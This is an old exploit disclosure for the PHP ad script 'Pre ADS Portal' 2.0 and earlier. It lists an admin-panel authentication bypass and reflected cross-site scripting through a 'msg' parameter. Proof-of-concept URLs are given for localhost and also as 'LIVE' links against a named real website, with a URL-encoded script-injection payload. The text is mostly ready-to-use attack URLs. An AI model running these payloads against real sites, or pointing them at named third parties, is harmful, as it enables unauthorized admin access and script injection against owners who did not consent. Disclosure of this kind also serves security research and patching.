preadsportal-xssbypass.txt

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
IN THE NAME OF ALLAH  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Pre ADS Portal <= 2.0 Multiple Vulnerabilities  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
[~] Script: Pre ADS Portal  
[~] Language : PHP  
[~] Website[main]: http://www.preproject.com  
[~] Website[script]: http://www.preproject.com/ads.asp  
[~] Type : Commercial  
[~] Report-Date : 05/11/2008  
[~] Founder : G4N0K <mail.ganok[at]gmail.com>  
  
===============================================================================  
===[ Admin BYpass ]===  
[!] http://localhost/[path]/homeadmin/adminhome.php  
  
===[ Admin BYpass-LIVE ]===  
http://www.mideastbiz.com/homeadmin/adminhome.php  
  
  
  
===[ XSS ]===  
[!] http://localhost/[path]/homeadmin/adminhome.php?pg=1&msg=XSS  
[!] http://localhost/[path]/homeadmin/signinform.php?msg=XSS  
  
===[ XSS-LIVE ]===  
[!]http://www.mideastbiz.com/homeadmin/adminhome.php?pg=1&msg=g4n0k%22%3E%3Cscript%3Ealert('G4N0K')%3C/script%3E  
http://www.mideastbiz.com/homeadmin/signinform.php?msg=g4n0k%22%3E%3Cscript%3Ealert('G4N0K')%3C/script%3E  
  
  
  
===[ Greetz ]===  
[~] ALLAH  
[~] Tornado2800 <Tornado2800[at]gmail.com>  
[~] Hussain-X <darkangel_g85[at]yahoo.com>  
  
//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)  
//ALLAH,forgimme...  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
exit(); //EoX  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
`